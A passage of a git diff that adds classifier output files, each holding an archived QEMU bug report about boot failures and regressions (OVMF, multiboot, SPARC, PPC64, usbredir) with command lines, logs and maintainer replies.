as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/509 + + +Hi taos! Could you please check whether this has been fixed already in QEMU v6.1.0-rc1 ? + +Thanks. Tested, the problem is gone. + diff --git a/results/classifier/deepseek-1/output/boot/1273944 b/results/classifier/deepseek-1/output/boot/1273944 new file mode 100644 index 00000000..4a354ff1 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1273944 @@ -0,0 +1,61 @@ + +multiboot header has 0 in mem_upper field + +When booting a multiboot image,. mem_upper is now always zero. + +To test, build qemu from current git head, then do + cd tests/multiboot + ./run_test.sh + +You will see the test fail. In each case mem_upper is 0k. + +git-bisect says the bad commit is 0169c511554cb0014a00290b0d3d26c31a49818f in qemu.git + +This change fixes it. + +diff --git a/exec.c b/exec.c +index 2435d9e..b387d28 100644 +--- a/exec.c ++++ b/exec.c +@@ -1070,7 +1070,7 @@ static void *file_ram_alloc(RAMBlock *block, + } + + /* MAP_POPULATE silently ignores failures */ +- for (i = 0; i < (memory/hpagesize); i++) { ++ for (i = 0; i < (memory/hpagesize)-1; i++) { + memset(area + (hpagesize*i), 0, 1); + } + +peterc@Diprotodon:/usr/src/qemu/tests/m + +>>>>> "Peter" == Peter Chubb <email address hidden> writes: +This change fixes it. + +> diff --git a/exec.c b/exec.c +> index 2435d9e..b387d28 100644 +> --- a/exec.c +> +++ b/exec.c +> @@ -1070,7 +1070,7 @@ static void *file_ram_alloc(RAMBlock *block, +> } +> +> /* MAP_POPULATE silently ignores failures */ +> - for (i = 0; i < (memory/hpagesize); i++) { +> + for (i = 0; i < (memory/hpagesize)-1; i++) { +> memset(area + (hpagesize*i), 0, 1); +> } + +I don't know why this fixes the issue. Hence, no signed-off-by line, etc. + +My guess is that the memset zeros something it shouldn't off the end of +the array (but that doesn't make sense to me!) + +Peter C +-- +Dr Peter Chubb peter.chubb AT nicta.com.au +http://www.ssrg.nicta.com.au Software Systems Research Group/NICTA + + +tests/multiboot seems to work with current git again, so I assume this issue has been fixed? Or is there something left to do? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/1358722 b/results/classifier/deepseek-1/output/boot/1358722 new file mode 100644 index 00000000..fb96eb17 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1358722 @@ -0,0 +1,23 @@ + +latest acpi commits causes memory allocation fault in macosx + +qemu release 2.1.0 + +Hi, +I've found a regression on MacOSX guest (10.9.4) after merging the following commits + +18045fb9f457a0f0cba2bd113c748a2dcb4ed39e pc: future-proof migration-compatibility of ACPI tables +868270f23d8db2cce83e4f082fe75e8625a5fbf9 acpi-build: tweak acpi migration limits + +The migration limits make x86 chameleon bootloader generate a memory allocation error with 0xdeadbeef address at line 899 in source file: + +http://forge.voodooprojects.org/p/chameleon/source/tree/2360/branches/Bungo/i386/libsaio/acpi_patcher.c + +I've not tried to recompile chameleon yet. + +The experiments for running MacOSXon KVM/QEMU I followed are here: http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/ + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/1435101 b/results/classifier/deepseek-1/output/boot/1435101 new file mode 100644 index 00000000..f22db870 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1435101 @@ -0,0 +1,11 @@ + +Windows, QEMU 2.2.50 fails to boot XP CD + +Running XP Pro SP3 host 32bit. When I launch qemu booting from CD, it fails to complete load, getting stuck at "Setup is starting Windows". It does not proceed past. I tried to disable floppy but still no go. Download older version 1.5.1-win32, 0.9.1, same problem. +qemu-system-i386w.exe -cdrom "d:\XP.ISO" -hda d:\xp.img -boot d +with -global isa-fdc.driveA=c or -no-fd-bootchk switches but no go. I see others have run into this problem as well but no real solutions. Some folks says turning off floppy works and I tried. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/1476800 b/results/classifier/deepseek-1/output/boot/1476800 new file mode 100644 index 00000000..131f23cd --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1476800 @@ -0,0 +1,10 @@ + +Instant runtime error (Host: Windows 8.1 VM: WinXP ISO) + +I have Qemu Manager on my Windows 8.1 laptop and have a WXP iso and a blank disk image (from here http://www.mediafire.com/download/rtec86bwwmee00s/Blank_Disk.zip ) and as soon as I try to open it I get a Runtime Error ( http://i.gyazo.com/bfebf7e1e7a670f8e52cc95c5923a67e.png ) + +Looking through old bug tickets... which version of QEMU did you use here? Can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/1589257 b/results/classifier/deepseek-1/output/boot/1589257 new file mode 100644 index 00000000..43b464c2 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1589257 @@ -0,0 +1,22 @@ + +Boot with OVMF extremely slow to bootloader + +I have used Arch Linux in the past with the same version (2.5.0), the exact same OVMF code and vars, and the exact same VM settings with no issues. Now with Ubuntu, I am having the issue where boot up until Windows takes about 10x longer. Every CPU thread/core allocated gets used 100% while this is happening. After that, everything operates as normal. There is no abnormal logs produced by qemu, or I don't know how to debug. + +Here are my settings: + +Host: +Ubuntu 16.04 +Qemu 2.5.0 +Relevant configs attached + +Guest: +Windows 10 +VirtIO raw disk image +VirtIO network +Typical VGA passthrough setup, everything operating normally + + + +I've solved the problem by using the ovmf package in apt instead of the firmware I've had before. Apparently, the older firmware was only compatible with an older kernel, and a newer kernel with the older firmware would cause the issue. + diff --git a/results/classifier/deepseek-1/output/boot/1591724 b/results/classifier/deepseek-1/output/boot/1591724 new file mode 100644 index 00000000..430a7fad --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1591724 @@ -0,0 +1,55 @@ + +Windows 7 installation DVD can't boot in qemu 2.6.0/OVMF + +With Qemu 2.5.50 (compiled from git some time ago) I can boot Windows 7 x64 installation DVD as follows: +~/code/qemu-v2/bin/slic-v2/native/x86_64-softmmu/qemu-system-x86_64 \ + -machine type=pc,accel=kvm \ + -enable-kvm \ + -cpu host \ + -m 2048 \ + -vga cirrus \ + -boot d \ + -drive if=pflash,file=/vms/ovmf_x64_firstrun.bin,format=raw \ + -cdrom /vms/win7_sp1.iso \ + -monitor stdio + +This bug suggests different vga options https://bugs.launchpad.net/qemu/+bug/1581936. Here's the behaviours I'm getting with 2.6.0: + +std - "Starting Windows" with wavering flag hangs indefinitely +cirrus - at "Starting Windows" wasps of light freeze before assembling into a flag +qxl - "Starting Windows" with wavering flag hangs indefinitely +virtio - "Starting Windows" with wavering flag hangs indefinitely + +supposed to be fixed by <http://git.qemu.org/?p=qemu.git;a=commit;h=94ef4f337fb614f18b765a8e0e878a4c23cdedcd>, please confirm + +Running on latest git code a93c1bdf0bd4689287094ddb2aae3dc907da3535, DVD loads installation screen on everything except cirrus (same symptom). I don't really need cirrus, but I can test patches if you want. + +The following combination: + +- OVMF without the SeaBIOS CSM ("pure EFI" in Gerd's RPMs) +- Cirrus video card +- Windows 7 installer in the guest + +has never been supported. The VBE Shim in OVMF works on stdvga and QXL only. This is documented; please refer to OvmfPkg/README, section "UEFI Windows 7 & Windows 2008 Server". + +According to your results, stuff works on latest QEMU, in all configurations that are expected to be functional. Gerd CC'd <email address hidden> on his patch referenced above, so I guess it will be part of 2.6.1, whenever it is released. I'm closing this with fix committed. Thanks. + +The same thing. Qemu 2.5 and no possibility to install Windows 7 on OVMF, no possibility to install Windows 7 with QXL video. This is something terrible. Several hours I'm trying to install it but only on BIOS and with Cirrus video. What Qemu version will be fixed? + +@Gannet I've built latest qemu from git just to get through installation, after that everything runs fine on 2.6.0. It's easy enough http://wiki.qemu.org/Hosts/Linux#Simple_build_and_test + +Fails on my machine, even with the HEAD of master as of today (5d3217340adcb6c4f0e4af5d2b865331eb2ff63d). + +Simplest configuration: + + cp $MY_BIOS $MY_BIOS_TMP; ./qemu-system-x86_64 \ + -drive if=pflash,format=raw,readonly,file=$MY_BIOS \ + -drive if=pflash,format=raw,file=$MY_BIOS_TMP \ + -enable-kvm \ + -m 3072 \ + -cpu host,kvm=off -smp 4,sockets=1,cores=4 \ + -cdrom $MY_WINDOWS_CD + ; + +Hangs on "Starting Windows". + diff --git a/results/classifier/deepseek-1/output/boot/1716510 b/results/classifier/deepseek-1/output/boot/1716510 new file mode 100644 index 00000000..2768be73 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1716510 @@ -0,0 +1,21 @@ + +qemu 2.10.0 cannot boot Windows 10 familly + +On qemu 2.10.0 Windows 10 and Windows Server 2016 hangs during boot. Below is setup of Windows Server 2016. Downgrading to 2.9 fixes the problem. + +/usr/bin/qemu-system-x86_64 -name guest=<name>,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-2-<name>/master-key.aes -machine pc-q35-2.8,accel=kvm,usb=off,dump-guest-core=off -cpu host,nx=on,hv_relaxed,hv_vapic,hv_spinlocks=0x1000,hv_vpindex,hv_runtime,hv_synic,hv_reset,kvm=off -drive file=/usr/local/share/edk2.git/ovmf-x64/OVMF-pure-efi.fd,if=pflash,format=raw,unit=0 -drive file=/var/lib/libvirt/qemu/nvram/<name>_VARS.fd,if=pflash,format=raw,unit=1 -m 4096 -realtime mlock=off -smp 12,sockets=1,cores=6,threads=2 -object iothread,id=iothread1 -object iothread,id=iothread2 -object iothread,id=iothread3 -object iothread,id=iothread4 -object iothread,id=iothread5 -object iothread,id=iothread6 -object iothread,id=iothread7 -object iothread,id=iothread8 -object iothread,id=iothread9 -object iothread,id=iothread10 -object iothread,id=iothread11 -object iothread,id=iothread12 -uuid <uuid> -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-2-<name>/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime,clock=vm,driftfix=slew -no-shutdown -boot strict=on -device ioh3420,port=0x10,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x2 -device ioh3420,port=0x11,chassis=2,id=pci.2,bus=pcie.0,addr=0x2.0x1 -device ioh3420,port=0x12,chassis=3,id=pci.3,bus=pcie.0,addr=0x2.0x2 -device ioh3420,port=0x13,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x3 -device ioh3420,port=0x14,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x4 -device ioh3420,port=0x15,chassis=6,id=pci.6,bus=pcie.0,addr=0x2.0x5 -device nec-usb-xhci,id=usb,bus=pci.3,addr=0x0 -drive if=none,media=cdrom,id=drive-sata0-0-0,readonly=on -device ide-cd,bus=ide.0,drive=drive-sata0-0-0,id=sata0-0-0,bootindex=2 -drive if=none,media=cdrom,id=drive-sata0-0-1,readonly=on -device ide-cd,bus=ide.1,drive=drive-sata0-0-1,id=sata0-0-1,bootindex=1 -drive file=/dev/mapper/<boot disk>,format=raw,if=none,id=drive-sata0-0-2 -device ide-hd,bus=ide.2,drive=drive-sata0-0-2,id=sata0-0-2,bootindex=3 -netdev tap,fd=21,id=hostnet0,vhost=on,vhostfd=23 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=<mac>,bus=pci.1,addr=0x0 -netdev tap,fd=24,id=hostnet1,vhost=on,vhostfd=25 -device virtio-net-pci,netdev=hostnet1,id=net1,mac=<mac>,bus=pci.2,addr=0x0 -device usb-tablet,id=input0,bus=usb.0,port=1 -spice unix,addr=/var/lib/libvirt/qemu/domain-2-<name>/spice.sock,disable-ticketing,image-compression=auto_glz,seamless-migration=on -vnc 127.0.0.1:0 -device qxl-vga,id=video0,ram_size=67108864,vram_size=16777216,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pcie.0,addr=0x1 -device vhost-scsi-pci,wwpn=<wwpn>,vhostfd=26,id=hostdev0,bus=pcie.0,addr=0x9 -device virtio-balloon-pci,id=balloon0,bus=pci.4,addr=0x0 -object rng-random,id=objrng0,filename=/dev/random -device virtio-rng-pci,rng=objrng0,id=rng0,max-bytes=1024,period=1000,bus=pci.5,addr=0x0 -msg timestamp=o + +Possibly a duplicate of: + +https://bugs.launchpad.net/qemu/+bug/1714331 +or +https://bugs.launchpad.net/qemu/+bug/1715700 + +Can you share with us the version of OVMF you are using and potentially try a newer version (see lp 1714331) If not, keep your eye on lp 1715700 for updates. + +Ok. It looks like EDK was added to my distro and using it fixed it - https://packages.gentoo.org/packages/sys-firmware/edk2-ovmf (at least W16 - I'll try W10 tonight). + +Unfortunately when I run strings on edk I haven't seen anything which looked like version. + +Since this seems to be fixed when using EDK, I'm marking this ticket as Fix Released + diff --git a/results/classifier/deepseek-1/output/boot/1737883 b/results/classifier/deepseek-1/output/boot/1737883 new file mode 100644 index 00000000..16c0349e --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1737883 @@ -0,0 +1,12 @@ + +Cannot boot FreeBSD on versatilepb machine + +I know some years ago it was possible to boot FreeBSD in QEMU versatilepb machine +https://kernelnomicon.org/?p=229 (you can download image and kernel using web.archive.org) +Now when I try to do that I get only black screen with no output even in QEMU console. +I also added -global versatile_pci.broken-irq-mapping=1, but this seem to have no effect. + +What version did this last work on? What version have you tested that failed? Have you tried the latest QEMU HEAD build? What was the full command line of your invocation? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/1793275 b/results/classifier/deepseek-1/output/boot/1793275 new file mode 100644 index 00000000..cc89f289 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1793275 @@ -0,0 +1,34 @@ + +Hosts fail to start after update to QEMU 3.0 + +Host OS: Archlinux +Host Architecture: AMD64 +Guest OS: FreeBSD-11.2 (x2) and Archlinux (x1) +Guest Architecture: AMD64 + +I have been using QEMU 2.x without issue for a number of years but since updating to QEMU 3.0 my guests do not complete startup. + +FreeBSD 11.2 guest failure symptom: +The two FreeBSD-11.2 guests output repeated messages of "unexpected cache type 4". This appears to be an internal error message and I've not found any instances of it through Google search. + +Archlinux guest failure symptom: +The single Archlinux guest gets no further than the message "uncompressing initial ramdisk". + +The guests are started by a qemu-kvm invokation. No virtual machine managers are used. The command lines used (from ps awx) to launch the VMs are: + +[neil@optimus ~]$ ps awx |grep qemu + 1492 ? Sl 3:19 /usr/bin/qemu-system-x86_64 -daemonize -pidfile /run/qemu_vps1.pid -enable-kvm -cpu host -smp 2 -k en-gb -boot order=c -drive file=/dev/system/vps1,cache=none,format=raw,if=virtio,index=0,media=disk -m 1024 -name FreeBSD_1 -net nic,macaddr=52:54:AD:86:64:00,model=virtio -net vde,sock=/run/vde_switch-tap0.sock -monitor telnet:127.0.0.2:23,server,nowait -vnc 192.168.0.1:0 + 1510 ? Sl 0:54 /usr/bin/qemu-system-x86_64 -daemonize -pidfile /run/qemu_vps2.pid -enable-kvm -cpu host -smp 2 -k en-gb -boot order=c -drive file=/dev/system/vps2,cache=none,format=raw,if=virtio,index=0,media=disk -m 1024 -name Archlinux -net nic,macaddr=52:54:AD:86:64:01,model=virtio -net vde,sock=/run/vde_switch-tap0.sock -monitor telnet:127.0.0.3:23,server,nowait -vnc 192.168.0.1:1 + 1529 ? Sl 3:07 /usr/bin/qemu-system-x86_64 -daemonize -pidfile /run/qemu_vps3.pid -enable-kvm -cpu host -smp 2 -k en-gb -boot order=c -drive file=/dev/system/vps3,cache=none,format=raw,if=virtio,index=0,media=disk -m 1024 -name FreeBSD_2 -net nic,macaddr=52:54:AD:86:64:02,model=virtio -net vde,sock=/run/vde_switch-tap0.sock -monitor telnet:127.0.0.4:23,server,nowait -vnc 192.168.0.1:2 + +The VMs were installed to LVM volumes on the host machine (hence the /dev/system/vpsN device names). Networking is over a Linux tap interface connected to a VDE2 virtual network switch. + +Currently working version of QEMU: qemu-headless 2.12.1-1 +Failing version of QEMU: qemu-headless-3.0.0-1 + +Archlinux have released qemu-headless-3.0.0-3 which includes a backported patch for virtio. I have tested this version and the problem still persists. + +This bug is not present in QEMU-3.1.0. + +Ok, thanks for the update. Closing this bug since it seems to be fixed in 3.1. + diff --git a/results/classifier/deepseek-1/output/boot/1829576 b/results/classifier/deepseek-1/output/boot/1829576 new file mode 100644 index 00000000..9ee3e5f3 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1829576 @@ -0,0 +1,77 @@ + +QEMU-SYSTEM-PPC64 Regression QEMU-4.0.0 + +I have been using QEMU-SYSTEM-PPC64 v3.1.0 to run CentOS7 PPC emulated system. It stopped working when I upgraded to QEMU-4.0.0 . I downgraded back to QEMU-3.1.0 and it started working again. The problem is that my CentOS7 image will not boot up udner QEMU-4.0.0, but works fine under QEMU-3.1.0. + +I have an QCOW2 image available at https://www.mediafire.com/file/d8dda05ro85whn1/linux-centos7-ppc64.qcow2/file . NOTE: It is 15GB. Kind of large. + +I run it as follows: + + qemu-system-ppc64 \ + -name "CENTOS7-PPC64" \ + -cpu POWER7 -machine pseries \ + -m 4096 \ + -netdev bridge,id=netbr0,br=br0 \ + -device e1000,netdev=netbr0,mac=52:54:3c:13:21:33 \ + -hda "./linux-centos7-ppc64.qcow2" \ + -monitor stdio + +HOST: I am using Manjaro Linux on an Intel i7 machine with the QEMU packages installed via the package manager of the distribution. + +[jsantiago@jlsws0 ~]$ uname -a +Linux jlsws0.haivision.com 4.19.42-1-MANJARO #1 SMP PREEMPT Fri May 10 20:52:43 UTC 2019 x86_64 GNU/Linux + +jsantiago@jlsws0 ~]$ cpuinfo +Intel(R) processor family information utility, Version 2019 Update 3 Build 20190214 (id: b645a4a54) +Copyright (C) 2005-2019 Intel Corporation. All rights reserved. + +===== Processor composition ===== +Processor name : Intel(R) Core(TM) i7-6700K +Packages(sockets) : 1 +Cores : 4 +Processors(CPUs) : 8 +Cores per package : 4 +Threads per core : 2 + +===== Processor identification ===== +Processor Thread Id. Core Id. Package Id. +0 0 0 0 +1 0 1 0 +2 0 2 0 +3 0 3 0 +4 1 0 0 +5 1 1 0 +6 1 2 0 +7 1 3 0 +===== Placement on packages ===== +Package Id. Core Id. Processors +0 0,1,2,3 (0,4)(1,5)(2,6)(3,7) + +===== Cache sharing ===== +Cache Size Processors +L1 32 KB (0,4)(1,5)(2,6)(3,7) +L2 256 KB (0,4)(1,5)(2,6)(3,7) +L3 8 MB (0,1,2,3,4,5,6,7) + +I suspect that this may be related to the VSR register conversion. Can you try applying all of the patches below on top of 4.0 to see if they resolve the issue? + +https://lists.gnu.org/archive/html/qemu-devel/2019-05/msg01254.html +https://lists.gnu.org/archive/html/qemu-devel/2019-05/msg01256.html +https://lists.gnu.org/archive/html/qemu-devel/2019-05/msg01257.html +https://lists.gnu.org/archive/html/qemu-devel/2019-05/msg01260.html + + +I applied the four patches you indicated and the image boots up and runs. Everything seems to be working now. Thank You. + +I also have a regression issue between 3.1.0 and 4.0.0 (actually latest git) on qemu-system-ppc64 but it involves an AIX guest instead (fail to boot). Should I open a new ticket or hop on this one ? + +David has already queued the patches in his ppc-for-4.1 branch at https://github.com/dgibson/qemu/commits/ppc-for-4.1 so they will get merged soon. If you're working with git then I'd try testing the queued branch first and see if that resolves the issue. + +Once the patches have been applied to master we'll add a CC to the stable list so the fixes will be included in the next 4.0 update. + +Same thing here using https://github.com/dgibson/qemu/commits/ppc-for-4.1 ... It might be a completely different problem (athough it looks like a MMU problem). + +Is this fixed now? Can we mark as fix committed? + +It is fixed with the 4.1.0 release. Thank you. + diff --git a/results/classifier/deepseek-1/output/boot/1831477 b/results/classifier/deepseek-1/output/boot/1831477 new file mode 100644 index 00000000..399f3f60 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1831477 @@ -0,0 +1,22 @@ + +update edk2 submodule & binaries to edk2-stable201905 + +The edk2 project will soon release edk2-stable201905. Update the edk2 submodule in QEMU, and the bundled edk2 binaries, accordingly. + +https://github.com/tianocore/tianocore.github.io/wiki/EDK-II-Release-Planning#edk2-stable201905-tag-planning +https://github.com/tianocore/edk2/releases/tag/edk2-stable201905 [upcoming link] + +Some rebase notes can be seen at <https://bugzilla.redhat.com/show_bug.cgi?id=1701710#c12>. + +Posted +[PATCH 0/6] update edk2 submodule & binaries to edk2-stable201905 +http://<email address hidden> + + +[PULL 0/6] update edk2 submodule & binaries to edk2-stable201905 +http://<email address hidden> + + +Merged in commit 53defa05701b ("Merge remote-tracking branch 'remotes/lersek/tags/edk2-pull-2019-06-14' into staging", 2019-06-17). + + diff --git a/results/classifier/deepseek-1/output/boot/1925417 b/results/classifier/deepseek-1/output/boot/1925417 new file mode 100644 index 00000000..380e43d5 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/1925417 @@ -0,0 +1,93 @@ + +Cannot boot from EFI image on aarch64 + +I am unable to boot from a EFI disk image on aarch64 qemu. + +I have qemu built and installed from sources on a jetson-nano + +qemu-system-aarch64 -version +QEMU emulator version 5.2.50 (v5.2.0-3234-gbdee969c0e) +Copyright (c) 2003-2021 Fabrice Bellard and the QEMU Project developers + +KVM and and virtio are enabled in host kernel. + +Now I want to boot a ChromiumOS image. I have the image downloaded from here: + +https://chromium.arnoldthebat.co.uk/?dir=daily + +The image looks fine: + +rreddy78@jetson-nano:~/Downloads$ fdisk -lu chromiumos_image.bin +Disk chromiumos_image.bin: 6.2 GiB, 6606109184 bytes, 12902557 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: gpt +Disk identifier: C5B6CA94-0AF1-374E-90B5-A5CF4DC1FF51 + +Device Start End Sectors Size Type +chromiumos_image.bin1 4513792 12902508 8388717 4G Linux filesystem +chromiumos_image.bin2 20480 53247 32768 16M ChromeOS kernel +chromiumos_image.bin3 319488 4513791 4194304 2G ChromeOS root fs +chromiumos_image.bin4 53248 86015 32768 16M ChromeOS kernel +chromiumos_image.bin5 315392 319487 4096 2M ChromeOS root fs +chromiumos_image.bin6 16448 16448 1 512B ChromeOS kernel +chromiumos_image.bin7 16449 16449 1 512B ChromeOS root fs +chromiumos_image.bin8 86016 118783 32768 16M Linux filesystem +chromiumos_image.bin9 16450 16450 1 512B ChromeOS reserved +chromiumos_image.bin10 16451 16451 1 512B ChromeOS reserved +chromiumos_image.bin11 64 16447 16384 8M unknown +chromiumos_image.bin12 249856 315391 65536 32M EFI System + +Partition table entries are not in disk order. + +Now I try booting like this: + +qemu-system-aarch64 -M virt -m 2048 -smp 2 -cpu host -enable-kvm \ +-device usb-ehci -device usb-kbd -device usb-mouse -usb -serial stdio \ +-device virtio-gpu-pci,virgl=on,xres=1600,yres=900 -display sdl,gl=on \ +-device virtio-blk-device,drive=hd \ +-drive if=none,file=chromiumos_image.bin,format=raw,id=hd \ +-netdev user,id=mynet \ +-device virtio-net-device,netdev=mynet \ +-bios edk2-aarch64-code.fd -no-reboot + +But I am unable to boot. + +Memory Type Information settings change. +[Bds]Booting UEFI Misc Device + BlockSize : 262144 + LastBlock : FF +[Bds] Expand VenHw(93E34C7E-B50E-11DF-9223-2443DFD72085,00) -> <null string> +BdsDxe: failed to load Boot0001 "UEFI Misc Device" from VenHw(93E34C7E-B50E-11DF-9223-2443DFD72085,00): Not Found + + +and + + +[Bds] Expand VenHw(837DCA9E-E874-4D82-B29A-23FE0E23D1E2,003E000A00000000) -> <null string> +BdsDxe: failed to load Boot0002 "UEFI Misc Device 2" from VenHw(837DCA9E-E874-4D82-B29A-23FE0E23D1E2,003E000A00000000): Not Found + +When i try to do it manually using the instructions provided here: + +https://mricher.fr/post/boot-from-an-efi-shell/ + +I see that + +Mapping table + FS0: Alias(s):HD0m:;BLK4: + VenHw(837DCA9E-E874-4D82-B29A-23FE0E23D1E2,003E000A00000000)/HD(12,GPT,49037CF8-B2EF-5B4B-8CCE-EF5803A9E8B3,0x3D000,0x10000) + BLK13: Alias(s): + VenHw(93E34C7E-B5 + + +BLK4 is not having any EFI file. + + + +Hi, + +This is not a bug with QEMU. Its a problem with ChromiumOS qemu image issue which does not have a valid EFI partition for booting on qemu with EDK2 + +Please close this ticket. + diff --git a/results/classifier/deepseek-1/output/boot/710234 b/results/classifier/deepseek-1/output/boot/710234 new file mode 100644 index 00000000..e11a1c7f --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/710234 @@ -0,0 +1,18 @@ + +Qemu segfaults at start regardles if i suply an image or not + +I have tried both with latest development (git clone git://git.qemu.org/qemu.git ran around 12:00 2011-01-30) and with qemu-0.13.0. Since i have not written c-code in the last years, and never really ran a debugger under Linux this will bug report will be a bit sketchy. + +When starting qemu, either just qemu or with an image it segfaults. The Qemu window flashes by and then i get the segfault message (qemu -nographic still segfaults so i guess it is not really graphics related). When starting qemu with a garbled command line it returns an error and exits normally how ever. + +uname -a +Linux LIX 2.6.33.4-smp #2 SMP Wed May 12 22:47:36 CDT 2010 i686 AMD Phenom(tm) II X4 810 Processor AuthenticAMD GNU/Linux + +I have tried recompiling with --disable-kvm since i run a 32 bit OS on a 64 bit CPU, but to no avail. + + + +I assume this has been fixed with one of the later versions of QEMU .... Or do you still have this issue with the latest version of QEMU? If yes, can you please add the information which Linux distribution you are using, and provide a fresh backtrace with the latest version of QEMU? Thanks! + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/boot/830833 b/results/classifier/deepseek-1/output/boot/830833 new file mode 100644 index 00000000..d33a2742 --- /dev/null +++ b/results/classifier/deepseek-1/output/boot/830833 @@ -0,0 +1,115 @@ + +sparc emulators fail to boot + +The latest GIT version (957f1f99f263d57612807a9535f75ca4473f05f0) doesn't boot sparc. It fails to boot both Linux and NetBSD kernels with this error: + +Configuration device id QEMU version 1 machine id 32 +CPUs: 1 x FMI,MB86904 +UUID: 00000000-0000-0000-0000-000000000000 +Welcome to OpenBIOS v1.0 built on Jul 20 2011 21:16 + Type 'help' for detailed information +Trying disk... +Unhandled Exception 0x0000002a +PC = 0xffd10bdc NPC = 0xffd10be0 +Stopping execution + +On Mon, Aug 22, 2011 at 3:19 AM, Nigel Horne <email address hidden> wrote: +> Public bug reported: +> +> The latest GIT version (957f1f99f263d57612807a9535f75ca4473f05f0) +> doesn't boot sparc. It fails to boot both Linux and NetBSD kernels with +> this error: +> +> Configuration device id QEMU version 1 machine id 32 +> CPUs: 1 x FMI,MB86904 +> UUID: 00000000-0000-0000-0000-000000000000 +> Welcome to OpenBIOS v1.0 built on Jul 20 2011 21:16 +> Type 'help' for detailed information +> Trying disk... +> Unhandled Exception 0x0000002a +> PC = 0xffd10bdc NPC = 0xffd10be0 +> Stopping execution + +This was a bug in OpenBIOS, fixed in r1047. Maybe I should update the +image for QEMU. + +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/830833 +> +> Title: +> sparc emulators fail to boot +> +> Status in QEMU: +> New +> +> Bug description: +> The latest GIT version (957f1f99f263d57612807a9535f75ca4473f05f0) +> doesn't boot sparc. It fails to boot both Linux and NetBSD kernels +> with this error: +> +> Configuration device id QEMU version 1 machine id 32 +> CPUs: 1 x FMI,MB86904 +> UUID: 00000000-0000-0000-0000-000000000000 +> Welcome to OpenBIOS v1.0 built on Jul 20 2011 21:16 +> Type 'help' for detailed information +> Trying disk... +> Unhandled Exception 0x0000002a +> PC = 0xffd10bdc NPC = 0xffd10be0 +> Stopping execution +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/830833/+subscriptions +> +> + + +Please do update the binary openbios images for QEMU, it would be a great help!! + +On Wed, Sep 28, 2011 at 8:22 PM, <email address hidden> +<email address hidden> wrote: +> Please do update the binary openbios images for QEMU, it would be a +> great help!! + +Updated, please test. + +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/830833 +> +> Title: +> sparc emulators fail to boot +> +> Status in QEMU: +> New +> +> Bug description: +> The latest GIT version (957f1f99f263d57612807a9535f75ca4473f05f0) +> doesn't boot sparc. It fails to boot both Linux and NetBSD kernels +> with this error: +> +> Configuration device id QEMU version 1 machine id 32 +> CPUs: 1 x FMI,MB86904 +> UUID: 00000000-0000-0000-0000-000000000000 +> Welcome to OpenBIOS v1.0 built on Jul 20 2011 21:16 +> Type 'help' for detailed information +> Trying disk... +> Unhandled Exception 0x0000002a +> PC = 0xffd10bdc NPC = 0xffd10be0 +> Stopping execution +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/830833/+subscriptions +> +> + + +Should be fixed according to the comments from blueswirl ==> setting status to "Fix Released" + diff --git a/results/classifier/deepseek-1/output/bottleneck./1811653 b/results/classifier/deepseek-1/output/bottleneck./1811653 new file mode 100644 index 00000000..594c54eb --- /dev/null +++ b/results/classifier/deepseek-1/output/bottleneck./1811653 @@ -0,0 +1,48 @@ + +usbredir slow when multi bulk packet per second + +QEMU Ver: all version +Client: virt-viewer by spice +Guest VM: win7 +Bug description: + Use Qemu 2.1 or later with usbredir, When I redirect a bulk usb-device from virt-viewer client, +the bulk-usb-device driver or app in GuestVM will send 50 bulk-urb per times. + In VM, using the usblyzer to monitor the usb packet, it show these 50 bulk-urb packet send in 1ms, +But in the QEMU VM log, It shows as below +========================= +2019-01-14T08:27:26.096809Z 